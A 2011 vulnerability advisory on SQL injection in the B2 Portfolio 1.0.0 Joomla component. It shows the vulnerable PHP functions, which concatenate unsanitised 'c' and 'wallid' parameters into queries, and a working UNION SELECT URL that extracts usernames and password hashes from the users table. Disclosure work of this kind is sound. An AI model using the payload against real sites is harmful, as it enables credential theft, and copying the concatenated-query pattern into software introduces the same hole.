Joomla! Component com_b2portfolio 1.0.0 - Multiple SQL Injections

B2 Portfolio Joomla Component 1.0.0 Multiple SQL Injection Vulnerability

 Name              B2 Portfolio
 Vendor            http://www.pulseextensions.com
 Versions Affected 1.0.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2011-01-24

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

B2 Portfolio is a Joomla component to give the  user  the
option to view details of a portfolio item by zooming  it
on hover, and to allow a full view by clicking.


II. DESCRIPTION
_______________

Some parameters are not properly sanitised  before  being
used in SQL queries.


III. ANALYSIS
_____________

Summary:

 A) Multiple SQL Injection
 

A) Multiple SQL Injection
_________________________

Id  and  wallid  parameters  are  not  properly sanitised
before being used in SQL queries. This  can  be exploited
to manipulate SQL queries by injecting arbitrary SQL code.

The following are the vulnerable functions:

function getcategoryname() {
  $db =& JFactory::getDBO();
  $default_category = JRequest::getVar('c',  0);
  if($default_category == "") {
    $query_cat = 'SELECT default_category FROM #__b2portfolio_config';
    $db->setQuery( $query_cat );
    $default_category = $db->loadResult();
  }

  $query = 'SELECT * FROM #__b2portfolio_category where id='.$default_category;
  $db->setQuery( $query );
  $cat_data =  $this->_db->loadObject($query);
	
  return $cat_data;
}

function click() {
  $db =& JFactory::getDBO();
  $date =& JFactory::getDate();
  $trackDate = $date->toFormat( '%Y-%m-%d' );

  $query = 'UPDATE #__b2portfolio set click = ( click + 1 ) where id ='.$_GET['wallid'];
  $db->setQuery( $query );
  $db->query();
}


IV. SAMPLE CODE
_______________

A) Multiple SQL Injection

http://site/path/index.php?option=com_b2portfolio&c=-1 UNION SELECT 1,concat(username,0x34,password),3,4,5 FROM jos_users


V. FIX
______

No fix.